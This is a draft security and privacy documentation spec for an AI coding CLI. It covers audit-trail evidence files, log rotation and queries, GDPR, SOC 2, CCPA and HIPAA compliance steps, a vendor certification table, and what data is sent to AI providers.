SPEC-DOC-007: Security & Privacy Documentation

Status: Pending **Priority**: P2 (Future Consideration) **Estimated Effort**: 8-10 hours **Target Audience**: Security-conscious users, enterprise adopters **Created**: 2025-11-17

Objectives

Document security and privacy considerations for the codex CLI: 1. Threat model (attack vectors, risk assessment, mitigation) 2. Sandbox system (read-only, workspace-write, full) 3. Secrets management (API keys, auth.json, .env, secure storage) 4. Data flow (what goes to AI providers, what stays local) 5. MCP security (server trust model, isolation, sandboxing) 6. Audit trail (evidence, telemetry, compliance logging) 7. Compliance considerations (GDPR, SOC2 applicability) 8. Security best practices (config hardening, network isolation)

Scope

In Scope

- Threat model (attack surfaces, risk levels, mitigations)
- Sandbox system (three levels: read-only, workspace-write, full)
- Secrets management (API key storage, auth.json security, .env handling)
- Data flow analysis (local vs cloud processing, PII considerations)
- MCP server security (trust model, isolation mechanisms)
- Audit trail (evidence collection, telemetry for compliance)
- GDPR/SOC2 considerations (data residency, deletion, access control)
- Security hardening guide (config best practices, network isolation)

Out of Scope

- Implementation details (see SPEC-DOC-002)
- Configuration specifics (see SPEC-DOC-006)
- Penetration testing results (out of scope for documentation)

Deliverables

1. **content/threat-model.md** - Attack vectors, risk assessment, mitigation
2. **content/sandbox-system.md** - Three sandbox levels, configuration
3. **content/secrets-management.md** - API keys, auth.json, .env, best practices
4. **content/data-flow.md** - Local vs cloud, PII handling, provider policies
5. **content/mcp-security.md** - Trust model, server isolation, sandboxing
6. **content/audit-trail.md** - Evidence, telemetry, compliance logging
7. **content/compliance.md** - GDPR, SOC2 considerations
8. **content/security-best-practices.md** - Config hardening, network isolation

---

Success Criteria

- [ ] Threat model documented with mitigations
- [ ] Sandbox levels clearly explained
- [ ] Secrets management best practices documented
- [ ] Data flow to AI providers clearly illustrated
- [ ] MCP security model documented
- [ ] Compliance considerations addressed

Related SPECs

- SPEC-DOC-000 (Master)
- SPEC-DOC-001 (User Onboarding - security setup)
- SPEC-DOC-002 (Core Architecture - security implementation)
- SPEC-DOC-006 (Configuration - secure config practices)

Status: Structure defined, content pending

Audit Trail

Evidence collection, telemetry logging, and compliance tracking.

Overview

Audit trail provides complete record of system activity for compliance, debugging, and security.

Key Components: 1. **Evidence Repository**: Telemetry, agent outputs, consensus artifacts 2. **Session History**: User prompts and AI responses 3. **Debug Logs**: System events and errors 4. **Quality Gate Results**: Checkpoint outcomes and validations 5. **Git Commits**: Code changes and commit messages

Compliance Use Cases: - SOC 2 audit (demonstrate security controls) - GDPR compliance (data access requests) - Internal audits (cost tracking, quality validation) - Incident investigation (root cause analysis)

Evidence Repository

Location and Structure

Root: `docs/SPEC-OPS-004-integrated-coder-hooks/evidence/`

Structure:

```
evidence/
├── commands/                   # Per-SPEC command execution
│   ├── SPEC-KIT-001/
│   ├── SPEC-KIT-002/
│   └── SPEC-KIT-070/          # Example SPEC
│       ├── plan/
│       │   ├── plan_execution.json       # Telemetry
│       │   ├── agent_1_gemini-flash.txt  # Agent output
│       │   ├── agent_2_claude-haiku.txt
│       │   ├── agent_3_gpt5-medium.txt
│       │   └── consensus.json            # Consensus artifact
│       ├── tasks/
│       ├── implement/
│       ├── validate/
│       ├── audit/
│       └── unlock/
├── consensus/                  # MCP consensus artifacts
│   ├── runs/                  # Consensus run metadata
│   └── agents/                # Agent response cache
└── quality_gates/              # Quality gate checkpoint results
```

Telemetry Schema (v1.0)

All telemetry files follow this base schema:


```json
{
  "command": "plan",
  "specId": "SPEC-KIT-070",
  "sessionId": "abc123",
  "timestamp": "2025-10-18T14:32:00Z",
  "schemaVersion": "1.0",
  "artifacts": ["docs/SPEC-KIT-070-dark-mode/plan.md"],
  "exit_code": 0
}
```

Required Fields: - `command`: Stage name - `specId`: SPEC-ID - `sessionId`: Unique session identifier - `timestamp`: ISO 8601 timestamp - `schemaVersion`: “1.0” - `artifacts`: Array of created files - `exit_code`: 0 (success) or non-zero (failure)

Stage-Specific Fields: See Evidence Repository

Agent Output Files

Format: `agent_{index}_{name}.txt`

Contents:

```
=== Agent Execution ===
Name: gemini-flash
Model: gemini-1.5-flash-latest
Stage: plan
Spec: SPEC-KIT-070
Session: abc123
Timestamp: 2025-10-18T14:32:15Z

=== Prompt ===
[Full prompt sent to agent...]

=== Response ===
[Agent's complete response...]

=== Metadata ===
Input tokens: 5000
Output tokens: 1500
Cost: $0.12
Duration: 8500ms
Status: success
```

Use Case: Reproduce agent decisions, audit AI reasoning

Consensus Artifacts

Format: `consensus.json` (per stage)

```json
{
  "spec_id": "SPEC-KIT-070",
  "stage": "plan",
  "run_id": "run-abc123",
  "timestamp": "2025-10-18T14:35:00Z",
  "inputs": {
    "agent_count": 3,
    "agents": ["gemini-flash", "claude-haiku", "gpt5-medium"],
    "artifacts": ["docs/SPEC-KIT-070-dark-mode/spec.md"]
  },
  "verdict": {
    "status": "ok",
    "present_agents": ["gemini-flash", "claude-haiku", "gpt5-medium"],
    "missing_agents": [],
    "degraded": false,
    "conflicts": []
  },
```

```json
  "synthesized_output": "[Full consensus synthesis...]",
  "cost": 0.40,
  "duration_ms": 11200
}
```

Use Case: Verify multi-agent consensus, audit decision-making process

---

Quality Gate Evidence

Format: `quality_gates/{checkpoint}_{gate_type}.json`

Example: `quality_gates/AfterSpecify_checklist.json`

```json
{
  "checkpoint": "AfterSpecify",
  "spec_id": "SPEC-KIT-070",
  "gate_type": "checklist",
  "timestamp": "2025-10-18T14:40:00Z",
  "native_result": {
    "overall_score": 82.0,
    "grade": "B",
    "issues": [
      {
        "id": "CHK-001",
        "severity": "IMPORTANT",
        "description": "3 quantifiers without metrics"
      }
    ]
  },
  "gpt5_validations": [...],
  "user_escalations": [...],
  "outcome": {
    "status": "passed",
    "initial_score": 82.0,
    "final_score": 95.0,
    "grade_change": "B → A"
  },
  "cost": 0.05,
  "duration_ms": 1200
}
```

Use Case: Demonstrate quality gate compliance, audit checkpoint results

---

Session History

Location

File: `~/.code/history.jsonl`

Format: JSONL (JSON Lines)

Contents

```
{"timestamp":"2025-10-18T14:32:00Z","role":"user","content":"Explain this code..."}
{"timestamp":"2025-10-18T14:32:15Z","role":"assistant","content":"This function authenticates..."}
{"timestamp":"2025-10-18T14:35:00Z","role":"user","content":"Add error handling"}
{"timestamp":"2025-10-18T14:35:20Z","role":"assistant","content":"I'll add error handling..."}
```

Fields: - `timestamp`: ISO 8601 timestamp - `role`: "user" or "assistant" - `content`: Message text

---

Use Cases

Debugging: - Reproduce user interactions - Investigate AI misbehavior - Analyze conversation flow

Compliance: - GDPR data access request (show all user interactions) - Internal audit (review AI usage)

Cost Tracking: - Extract prompts to estimate token usage - Identify expensive queries

---

Privacy Considerations

PII Risk: May contain sensitive prompts/code

Mitigation:

```
# Delete history
rm ~/.code/history.jsonl

# Or anonymize
jq '.content = "[REDACTED]"' ~/.code/history.jsonl > history_anonymized.jsonl
```

Debug Logs

Location

File: `~/.code/debug.log`

Auto-Created: When `RUST_LOG=debug` or `--debug` flag used

Contents

```
[2025-10-18T14:32:00Z DEBUG codex_cli] Starting session...
[2025-10-18T14:32:01Z DEBUG codex_config] Loading config from ~/.code/config.toml
[2025-10-18T14:32:02Z DEBUG codex_mcp_client] Starting MCP server: local-memory
[2025-10-18T14:32:03Z DEBUG codex_mcp_client] MCP server ready:
```

```
local-memory (PID: 12345)
[2025-10-18T14:32:15Z INFO  codex_api] API request to openai: gpt-5
(prompt: 1234 tokens)
[2025-10-18T14:32:20Z INFO  codex_api] API response: 567 tokens,
cost: $0.05
[2025-10-18T14:32:21Z DEBUG codex_tui] Rendering response...
```

Fields: - Timestamp: `[2025-10-18T14:32:00Z]` - Level: `DEBUG`, `INFO`, `WARN`, `ERROR` - Module: `codex_cli`, `codex_config`, `codex_mcp_client` - Message: Log content

---

Use Cases

Debugging: - Investigate crashes - Trace execution flow - Identify performance bottlenecks

Security: - Detect unauthorized access attempts - Audit MCP server activity - Monitor API usage

Compliance: - Demonstrate logging controls (SOC 2) - Audit trail for security events

---

Log Rotation

Manual Rotation:

```bash
# Archive old logs
mv ~/.code/debug.log ~/.code/debug.log.$(date +%Y%m%d)
gzip ~/.code/debug.log.$(date +%Y%m%d)

# Delete old archives (>90 days)
find ~/.code/ -name "debug.log.*.gz" -mtime +90 -delete
```

Automated Rotation (future enhancement):

```toml
[logging]
max_size_mb = 100  # Rotate after 100 MB
max_age_days = 30  # Delete logs older than 30 days
```

Git Commit History

Audit Trail

Complete History:

```bash
git log --all --decorate --oneline --graph
```

Commit Details:

```bash
git log --format="%H %an %ae %ai %s" > commit_audit.txt
```

Output:

```
06f5c4b John Doe john@example.com 2025-10-18 14:32:00 +0000
docs(SPEC-DOC-004): add performance testing guide
ffbd393 Jane Smith jane@example.com 2025-10-17 10:15:00 +0000
```

```
docs(SPEC-DOC-004): add CI/CD integration guide
```

Evidence Commits

Spec-Kit Evidence: Committed to git repository

Example:

```bash
git log --all --grep="SPEC-KIT-070" --oneline
```

Output:

```
a1b2c3d feat(SPEC-KIT-070): implement dark mode toggle
d4e5f6g docs(SPEC-KIT-070): add plan and tasks
```

Use Case: Trace SPEC evolution, audit code changes

Audit Queries

Evidence Queries

Find All Consensus Runs for SPEC:

```bash
find docs/SPEC-OPS-004-integrated-coder-hooks/evidence/commands/SPEC-KIT-070/ -name "consensus.json"
```

Extract Total Cost for SPEC:

```bash
jq -s 'map(.total_cost) | add' docs/SPEC-OPS-004-integrated-coder-hooks/evidence/commands/SPEC-KIT-070/*/execution.json
```

Output: `2.71` (total cost for full pipeline)

Find Failed Stages:

```bash
grep -r '"exit_code": [^0]' docs/SPEC-OPS-004-integrated-coder-hooks/evidence/commands/SPEC-KIT-070/
```

List Quality Gate Results:

```bash
ls -lh docs/SPEC-OPS-004-integrated-coder-hooks/evidence/commands/SPEC-KIT-070/quality_gates/
```

Session History Queries

Extract All User Prompts:

```bash
jq 'select(.role == "user") | .content' ~/.code/history.jsonl
```

Count Messages by Role:

```bash
jq -s 'group_by(.role) | map({role: .[0].role, count: length})' ~/.code/history.jsonl
```

Output:

```json
[
  {"role": "user", "count": 45},
  {"role": "assistant", "count": 45}
]
```

Debug Log Queries

Extract API Requests:

```bash
grep "API request" ~/.code/debug.log
```

Count API Requests by Provider:

```bash
grep "API request" ~/.code/debug.log | awk '{print $8}' | sort |
uniq -c
```

Output:

```
  25 openai
  15 anthropic
   5 google
```

Find Errors:

```bash
grep ERROR ~/.code/debug.log
```

Compliance Reporting

SOC 2 Audit

Required Evidence: 1. **Access Controls**: Who can use the system? 2. **Audit Logging**: Complete record of operations 3. **Change Management**: Code review process 4. **Incident Response**: Security event handling

Provided by Audit Trail: - ✅ Evidence repository (complete operation logs) - ✅ Session history (user activity tracking) - ✅ Debug logs (security events) - ✅ Git commits (change tracking)

Gaps: - ❌ Access controls (single-user tool) - ⚠️ Encryption at rest (logs unencrypted)

Recommendation: Use Azure OpenAI for SOC 2 compliance

GDPR Data Access Request

User Rights: - Right to access (provide all user data) - Right to erasure (delete all user data) - Right to portability (export user data)

Compliance:

1. **Access Request**:

```bash
# Export all user data
cat ~/.code/history.jsonl > user_data_export.jsonl
```

```
    find docs/SPEC-OPS-004-integrated-coder-hooks/evidence/ -type f -exec cat {} \; > evidence_export.txt
```

2. **Erasure Request**:

```
    # Delete all user data
    rm ~/.code/history.jsonl
    rm -rf docs/SPEC-OPS-004-integrated-coder-hooks/evidence/
    rm ~/.code/debug.log

    # Request provider deletion (OpenAI, Anthropic, Google)
    # Email: support@openai.com, privacy@anthropic.com
```

3. **Portability Request**:

```
    # Export in machine-readable format
    tar -czf user_data.tar.gz ~/.code/history.jsonl docs/SPEC-OPS-004-integrated-coder-hooks/evidence/
```

Cost Audit

Total Cost by SPEC:

```
    # Extract costs from evidence
    for spec in docs/SPEC-OPS-004-integrated-coder-hooks/evidence/commands/*/; do
      spec_id=$(basename "$spec")
      total_cost=$(jq -s 'map(.total_cost // 0) | add' "$spec"/*/execution.json 2>/dev/null || echo "0")
      echo "$spec_id: \$$total_cost"
    done
```

Output:

```
SPEC-KIT-001: $1.20
SPEC-KIT-002: $2.71
SPEC-KIT-070: $2.65
```

Total Cost by Provider:

```
    # Extract from debug logs
    grep "API response" ~/.code/debug.log | awk '{print $8, $12}' | awk '{sum[$1]+=$2} END {for (p in sum) print p": $"sum[p]}'
```

Output:

```
openai: $15.50
anthropic: $8.20
google: $3.10
```

Evidence Retention

Retention Policy

Evidence Types:

Type	Retention Period	Storage	Reason
Telemetry JSON	Indefinite	Git repo	Audit trail
Agent Outputs	30 days	Git repo (archived after)	Debugging
Consensus Artifacts	Indefinite	Git repo	Reproducibility
Session History	90 days	Local (`~/.code/`)	Privacy
Debug Logs	30 days	Local (`~/.code/`)	Debugging
Quality Gate Results	Indefinite	Git repo	Compliance

Archival Strategy

After 30 Days:

```
# Archive old evidence
mv docs/SPEC-OPS-004-integrated-coder-hooks/evidence/commands/SPEC-KIT-070/ \
   docs/SPEC-OPS-004-integrated-coder-hooks/evidence/archive/SPEC-KIT-070-2025-10-18/

# Compress
tar -czf docs/SPEC-OPS-004-integrated-coder-hooks/evidence/archive/SPEC-KIT-070-2025-10-18.tar.gz \
        docs/SPEC-OPS-004-integrated-coder-hooks/evidence/archive/SPEC-KIT-070-2025-10-18/

# Delete uncompressed
rm -rf docs/SPEC-OPS-004-integrated-coder-hooks/evidence/archive/SPEC-KIT-070-2025-10-18/
```

After 90 Days:

```
# Delete archived evidence
find docs/SPEC-OPS-004-integrated-coder-hooks/evidence/archive/ -name "*.tar.gz" -mtime +90 -delete

# Delete old session history
find ~/.code/ -name "history.jsonl.*.gz" -mtime +90 -delete

# Delete old debug logs
find ~/.code/ -name "debug.log.*.gz" -mtime +90 -delete
```

Monitoring and Alerting

Evidence Footprint Monitoring

Command: `/spec-evidence-stats`

Usage:

```
/spec-evidence-stats --spec SPEC-KIT-070
```

Output:

```
SPEC-KIT-070 Detail:
  Total: 580 KB (2.3% of 25 MB limit)
  Breakdown:
    plan/           120 KB
    tasks/           45 KB
    implement/      110 KB
    validate/       135 KB
    audit/           95 KB
    unlock/          50 KB
    quality_gates/   25 KB

Status: ✅ OK (within 25 MB soft limit)
```

Alert: When SPEC exceeds 20 MB (80% of limit)

Cost Monitoring

Track Costs:

```
# Daily cost
grep "API response" ~/.code/debug.log | \
  awk -v today="$(date +%Y-%m-%d)" '$1 ~ today {sum+=$12} END {print
"$"sum}'
```

Alert: When daily cost exceeds $10

Error Monitoring

Track Errors:

```
# Count errors today
grep ERROR ~/.code/debug.log | grep "$(date +%Y-%m-%d)" | wc -l
```

Alert: When error count exceeds 10 per day

Best Practices

1. Enable Comprehensive Logging

```
# Always use debug logging
export RUST_LOG=debug
code
```

Or:

```
code --debug
```

---

2. Commit Evidence to Git

```
# After each stage
```

```
git add docs/SPEC-OPS-004-integrated-coder-hooks/evidence/
git commit -m "evidence(SPEC-KIT-070): add plan stage evidence"
```

Benefit: Version-controlled audit trail

---

3. Monitor Evidence Footprint

```
# Weekly check
/spec-evidence-stats
```

Action: Archive evidence when approaching 25 MB limit

---

4. Rotate Logs Regularly

```
# Monthly rotation
mv ~/.code/debug.log ~/.code/debug.log.$(date +%Y%m%d)
gzip ~/.code/debug.log.$(date +%Y%m%d)
```

---

5. Protect Audit Logs

```
# Restrict permissions
chmod 600 ~/.code/history.jsonl
chmod 600 ~/.code/debug.log
```

Prevents: Unauthorized access to audit logs

Summary

Audit Trail components:

1. **Evidence Repository**: Telemetry, agent outputs, consensus artifacts, quality gates
2. **Session History**: User prompts and AI responses (`~/.code/history.jsonl`)
3. **Debug Logs**: System events and errors (`~/.code/debug.log`)
4. **Git Commits**: Code changes and commit messages
5. **Quality Gates**: Checkpoint results and validations

Compliance Support: - ✅ SOC 2: Complete audit trail, change management - ✅ GDPR: Data access, erasure, portability - ✅ Cost Audit: Per-SPEC cost tracking - ⚠ Gaps: No access controls, no encryption at rest

Retention Policy: - Telemetry/consensus: Indefinite (git) - Agent outputs: 30 days (archived) - Session history: 90 days (local) - Debug logs: 30 days (local)

Best Practices: - ✅ Enable debug logging (`RUST_LOG=debug`) - ✅ Commit evidence to git - ✅ Monitor footprint (`/spec-evidence-stats`) - ✅ Rotate logs regularly (monthly) - ✅ Protect audit logs (`chmod 600`)

Next: Compliance

Compliance

GDPR, SOC 2, and regulatory considerations for AI coding assistants.

Overview

Compliance ensures the system meets regulatory and industry standards.

Key Frameworks: 1. **GDPR** (General Data Protection Regulation) - EU privacy law 2. **SOC 2** (System and Organization Controls 2) - US security standard 3. **CCPA** (California Consumer Privacy Act) - California privacy law 4. **ISO 27001** - International information security standard

Applicability: - GDPR: If processing EU citizen data - SOC 2: If selling to US enterprises - CCPA: If processing California resident data - ISO 27001: If required by customer contracts

---

GDPR Compliance

Requirements

Core Principles: 1. **Lawfulness, Fairness, Transparency**: Clear data usage policies 2. **Purpose Limitation**: Only collect data for specified purposes 3. **Data Minimization**: Collect only necessary data 4. **Accuracy**: Keep data accurate and up-to-date 5. **Storage Limitation**: Delete data when no longer needed 6. **Integrity and Confidentiality**: Protect data with security measures 7. **Accountability**: Demonstrate compliance

---

Data Processing

What Data is Processed: - User prompts (text input) - Code files (source code) - Conversation history - API usage telemetry - Agent outputs

Legal Basis: - **Consent**: User explicitly agrees to use AI coding assistant - **Legitimate Interest**: Providing coding assistance service - **Contract**: Fulfilling user’s request for assistance

Recommendation: Obtain explicit consent before processing code with PII

Data Residency

Requirement: EU citizen data must stay in EU

Compliance Strategy:

Option 1: Azure OpenAI (EU Region)

```
[model_providers.azure]
api_key = "$AZURE_OPENAI_API_KEY"
endpoint = "https://my-eu-resource.openai.azure.com/"  # EU region
```

Benefits: - ✅ Data stays in EU - ✅ Microsoft GDPR compliance - ✅ Data Processing Agreement (DPA) included

---

Option 2: Ollama (Local)

```
model_provider = "ollama"
model = "llama2"

[model_providers.ollama]
base_url = "http://localhost:11434"
```

Benefits: - ✅ No data leaves machine (complete data residency) - ❌ Lower quality than cloud models - ❌ Requires powerful hardware

---

Option 3: Anthropic (No Guarantee)

```
model_provider = "anthropic"
```

Warning: Anthropic does NOT guarantee EU data residency

User Rights

Right to Access (Article 15)

Requirement: Provide all user data upon request

Implementation:

```
# Export all user data
cat ~/.code/history.jsonl > user_data_export.jsonl
tar -czf user_evidence.tar.gz docs/SPEC-OPS-004-integrated-coder-hooks/evidence/
```

Provide to User: `user_data_export.jsonl`, `user_evidence.tar.gz`

Right to Erasure (Article 17)

Requirement: Delete all user data upon request

Implementation:

```
# Delete local data
rm ~/.code/history.jsonl
rm -rf docs/SPEC-OPS-004-integrated-coder-hooks/evidence/
rm ~/.code/debug.log
rm -rf ~/.code/mcp-memory/

# Request provider deletion
# OpenAI: support@openai.com (30-day retention)
# Anthropic: privacy@anthropic.com
# Google: (via Google Takeout or support)
# Azure: Not stored (no deletion needed)
```

Timeline: Complete within 30 days

Right to Portability (Article 20)

Requirement: Export user data in machine-readable format

Implementation:

```
# Export as JSON
tar -czf user_data_portable.tar.gz \
  ~/.code/history.jsonl \
  docs/SPEC-OPS-004-integrated-coder-hooks/evidence/
```

Provide to User: `user_data_portable.tar.gz` (JSON format)

Right to Rectification (Article 16)

Requirement: Correct inaccurate data

Implementation: - Edit session history: `nano ~/.code/history.jsonl` - Edit evidence: `nano docs/SPEC-OPS-004-integrated-coder-hooks/evidence/.../execution.json`

Note: Rarely applicable (AI assistant stores minimal personal data)

Data Protection Impact Assessment (DPIA)

Required If: High-risk processing (e.g., code with customer PII)

DPIA Template:

```
# Data Protection Impact Assessment

## Processing Description
- **Purpose**: AI-assisted code development
- **Data Types**: User prompts, code files, conversation history
- **Data Subjects**: Developers using the system
- **Storage**: Local filesystem + AI provider servers
- **Retention**: 30-90 days (local), 30 days (AI providers)

## Necessity and Proportionality
- **Necessity**: Required to provide coding assistance
- **Proportionality**: Minimal data collected (only user prompts + code)

## Risks to Data Subjects
- **Risk 1**: Code may contain customer PII → Mitigation: Approval gates
- **Risk 2**: Data sent to AI providers → Mitigation: Azure EU region
- **Risk 3**: Data stored unencrypted → Mitigation: Encrypt at rest (future)

## Measures to Address Risks
- Approval gates (review prompts before sending)
- Azure OpenAI (EU data residency)
- Data deletion after 90 days
```

```
- User consent before processing

## Compliance
- ✅ Data minimization
- ✅ Purpose limitation
- ✅ Storage limitation
- ⚠ Encryption at rest (not yet implemented)
```

Consent Management

Consent Requirement: Explicit, informed, freely given

Implementation:

```
# First-run consent prompt
[gdpr]
require_consent = true
consent_text = """
This AI coding assistant sends your prompts and code to AI providers
(OpenAI, Anthropic, Google). By using this tool, you consent to:

1. Processing of your code and prompts by AI providers
2. Storage of conversation history for 90 days
3. Evidence collection for quality assurance

You can withdraw consent at any time by deleting ~/.code/

Do you consent? [yes/no]
"""
```

Status: Not yet implemented (future enhancement)

SOC 2 Compliance

Trust Service Criteria

SOC 2 Type II requires controls in 5 categories:

---

1. Security (CC6.0)

Requirement: Protect system against unauthorized access

Implementation: - ✅ API key authentication - ✅ File permissions (chmod 600) - ✅ Sandbox restrictions (workspace-write mode) - ⚠ No multi-user access controls

Gap: Single-user tool (no role-based access control)

---

2. Availability (A1.0)

Requirement: System available as agreed

Implementation: - ✅ Local installation (no SaaS downtime) - ✅ Offline mode (Ollama) - ⚠ Dependent on AI provider availability

Monitoring:

```bash
# Check API provider status
curl -I https://api.openai.com/v1/models
```

---

3. Processing Integrity (PI1.0)

Requirement: Processing is complete, valid, accurate, timely

Implementation: - ✅ Evidence repository (complete audit trail) - ✅ Quality gates (validation checkpoints) - ✅ Multi-agent consensus (accuracy) - ✅ Telemetry schema validation

Evidence: All processing captured in evidence repository

---

4. Confidentiality (C1.0)

Requirement: Protect confidential information

Implementation: - ✅ API keys in environment variables (not config files) - ✅ Shell environment policy (excludes secrets) - ✅ File permissions (600 for sensitive files) - ⚠ No encryption at rest

Gap: Unencrypted local storage

---

5. Privacy (P1.0)

Requirement: Protect personal information

Implementation: - ✅ Data minimization (only necessary data collected) - ✅ Data retention policy (30-90 days) - ✅ User rights (access, erasure, portability) - ⚠ No data anonymization

Gap: No automatic PII detection/redaction

SOC 2 Evidence

Required Artifacts: 1. **Access Logs**: Session history, debug logs 2. **Change Logs**: Git commits, evidence repository 3. **Incident Logs**: Error logs, security events 4. **Configuration Management**: config.toml, version control 5. **Risk Assessment**: Threat model, DPIA

Provided by System: - ✅ Evidence repository (telemetry, agent outputs) - ✅ Session history (`~/.code/history.jsonl`) - ✅ Debug logs (`~/.code/debug.log`) - ✅ Git commits (change tracking) - ✅ Threat model (documented)

SOC 2 Gaps

Missing Controls: 1. ❌ Multi-user access controls (single-user tool) 2. ❌ Encryption at rest (local files unencrypted) 3. ❌ Formal incident response plan 4. ❌ Security awareness training (N/A for single user) 5. ❌ Vendor management (AI provider assessments)

Recommendation: For SOC 2 compliance, use Azure OpenAI (SOC 2 certified)

CCPA Compliance

Requirements

CCPA (California Consumer Privacy Act) similar to GDPR:

1. **Right to Know**: What data is collected
2. **Right to Delete**: Delete all user data
3. **Right to Opt-Out**: Opt-out of data selling (N/A - no data selling)
4. **Right to Non-Discrimination**: No discrimination for exercising rights

---

Implementation

Right to Know: - Provide data inventory: user prompts, code files, conversation history - Document: See Data Flow

Right to Delete: - Same as GDPR Right to Erasure - Implementation: See GDPR Compliance

Right to Opt-Out: - N/A (no data selling)

Right to Non-Discrimination: - N/A (single-user tool)

ISO 27001 Compliance

Requirements

ISO 27001 (Information Security Management System):

1. **Information Security Policy**: Documented security policies
2. **Risk Assessment**: Identify and assess risks
3. **Security Controls**: Implement controls to mitigate risks
4. **Audit and Review**: Regular security audits
5. **Continuous Improvement**: Update controls based on audits

---

Implementation

Information Security Policy: - Document: See Security Best Practices

Risk Assessment: - Document: See Threat Model

Security Controls: - Sandbox system (file access restrictions) - Approval gates (user review) - Secrets management (environment variables) - Audit logging (evidence repository)

Audit and Review: - Evidence repository (complete audit trail) - Quality gates (validation checkpoints)

Continuous Improvement: - Git commits (track security improvements) - Security patches (dependency updates)

Industry-Specific Compliance

HIPAA (Healthcare)

Requirement: Protect Protected Health Information (PHI)

Risk: Code may contain patient data

Mitigation: - ✅ Business Associate Agreement (BAA) with AI provider (Azure OpenAI supports HIPAA) - ✅ Encryption in transit (HTTPS) - ❌ Encryption at rest (not yet implemented) - ✅ Audit logging (evidence repository) - ✅ Access controls (file permissions)

Recommendation: Use Azure OpenAI with BAA for HIPAA compliance

---

PCI DSS (Payment Card Industry)

Requirement: Protect credit card data

Risk: Code may contain payment processing logic with test card numbers

Mitigation: - ⚠ Redact test card numbers before asking AI - ✅ Approval gates (review prompts) - ✅ Audit logging (evidence repository) - ❌ No PCI DSS certification (not designed for payment processing)

Recommendation: Do NOT process live payment card data with AI coding assistant

---

FERPA (Education)

Requirement: Protect student education records

Risk: Code may contain student data

Mitigation: - ✅ Redact student data before asking AI - ✅ Approval gates (review prompts) - ✅ Data deletion after 90 days

---

Compliance Checklist

GDPR

- [ ] **Data Residency**: Use Azure OpenAI (EU region) or Ollama (local)
- [ ] **Consent**: Obtain user consent before processing code
- [ ] **User Rights**: Implement access, erasure, portability
- [ ] **Data Minimization**: Only collect necessary data
- [ ] **Storage Limitation**: Delete data after 90 days

- [ ] **DPIA**: Conduct Data Protection Impact Assessment
- [ ] **DPA**: Sign Data Processing Agreement with AI provider

---

SOC 2

- [ ] **Access Controls**: Restrict file permissions (chmod 600)
- [ ] **Audit Logging**: Enable debug logging, commit evidence to git
- [ ] **Change Management**: Use git for all changes
- [ ] **Incident Response**: Document incident response plan
- [ ] **Vendor Management**: Assess AI provider security (Azure recommended)
- [ ] **Encryption**: Encrypt at rest (future enhancement)

CCPA

- [ ] **Privacy Policy**: Document data collection practices
- [ ] **Right to Delete**: Implement data deletion upon request
- [ ] **Right to Know**: Provide data inventory upon request

ISO 27001

- [ ] **Information Security Policy**: Document security policies
- [ ] **Risk Assessment**: Complete threat model
- [ ] **Security Controls**: Implement sandbox, approval gates, secrets management
- [ ] **Audit and Review**: Regular evidence repository reviews
- [ ] **Continuous Improvement**: Track security improvements in git

---

Compliance Gaps

Current Limitations

1. **No Encryption at Rest**: Local files unencrypted
2. **No Multi-User Access Controls**: Single-user tool
3. **No Formal Incident Response Plan**: Ad-hoc security event handling
4. **No Automatic PII Detection**: Manual PII redaction required
5. **No Data Anonymization**: No automatic data anonymization

---

Future Enhancements

Encryption at Rest:

```toml
[security]
encrypt_at_rest = true
encryption_key = "$ENCRYPTION_KEY"  # From environment
```

Status: Not yet implemented

PII Detection:

```bash
# Automatically detect PII before sending to AI
code --detect-pii "task"
```

Status: Not yet implemented

Data Anonymization:

```bash
# Anonymize code before sending to AI
code --anonymize "task"
```

Status: Not yet implemented

Vendor Compliance

AI Provider Certifications

Provider	GDPR	SOC 2	HIPAA	ISO 27001
OpenAI	⚠ (no guarantee)	✅	❌	✅
Anthropic	⚠ (no guarantee)	✅	❌	❌
Google	✅	✅	✅ (Google Cloud)	✅
Azure OpenAI	✅	✅	✅	✅
Ollama	N/A (local)	N/A	N/A	N/A

Recommendation: Use Azure OpenAI for enterprise compliance

Summary

Compliance framework support:

1. **GDPR**: EU data residency (Azure), user rights (access, erasure, portability), DPIA
2. **SOC 2**: Audit logging, change management, processing integrity, confidentiality
3. **CCPA**: Privacy policy, right to delete, right to know
4. **ISO 27001**: Information security policy, risk assessment, security controls

Compliance Strategy: - ✅ Use Azure OpenAI (EU region) for GDPR compliance - ✅ Enable approval gates (review prompts before sending) - ✅ Evidence repository (complete audit trail) - ✅ Data deletion after 90 days - ⚠ No encryption at rest (future enhancement) - ⚠ No automatic PII detection (manual redaction required)

Vendor Recommendations: - **GDPR**: Azure OpenAI (EU region) - **SOC 2**: Azure OpenAI - **HIPAA**: Azure OpenAI (with BAA) - **Complete Privacy**: Ollama (local models)

Gaps: - ✖ No encryption at rest - ✖ No multi-user access controls - ✖ No automatic PII detection - ✖ No formal incident response plan

Next: Security Best Practices

Data Flow

What data goes where, local vs cloud processing, and PII handling.

Overview

Data flow describes what information leaves your machine and where it goes.

Key Destinations: 1. **AI Providers** (OpenAI, Anthropic, Google, Azure) 2. **MCP Servers** (local-memory, git-status, custom) 3. **Local Filesystem** (evidence, config, history)

PII Risk: Code may contain sensitive data (credentials, customer data, proprietary algorithms)

Control: Sandbox modes and approval gates limit data exposure

---

Data Sent to AI Providers

What Gets Sent

Every API Request includes: 1. **User Prompt**: Your question or task description 2. **File Contents**: Code files you're asking about 3. **Context**: Recent conversation history 4. **System Prompt**: Instructions for AI behavior 5. **Metadata**: Model name, temperature, max tokens

Example Request:

```
{
  "model": "gpt-5",
  "messages": [
    {
      "role": "system",
      "content": "You are a helpful coding assistant..."
    },
    {
      "role": "user",
      "content": "Explain this function:\n\nfn authenticate(password: &str) -> bool {\n    password == \"SECRET_PASSWORD\"\n}"
    }
  ],
  "temperature": 0.7,
  "max_tokens": 2000
}
```

Sent to: OpenAI servers (api.openai.com)

What Does NOT Get Sent

Never Sent: - ❌ API keys (only used for authentication header) - ❌ Environment variables (excluded by shell_environment_policy) - ❌ Files outside workspace (sandbox restrictions) - ❌ Your entire codebase (only files you explicitly mention) - ❌ MCP server data (stays local unless explicitly sent)

Controlled by: - Sandbox mode (`read-only`, `workspace-write`, `danger-full-access`) - Approval policy (`untrusted`, `on-failure`, `on-request`, `never`)

Multi-Agent Data Flow

Spec-Kit Pipeline (6 stages):

```
User Request
    ↓
Plan Stage (3 agents: gemini, claude, gpt5)
    → Send: PRD content, constitution
    → Receive: 3 work breakdown plans
    → Local: Consensus synthesis (MCP local-memory)
    ↓
Tasks Stage (1 agent: gpt5-low)
    → Send: Plan output
    → Receive: Task breakdown
    ↓
Implement Stage (2 agents: gpt_codex, claude-haiku)
    → Send: Plan, tasks, existing code files
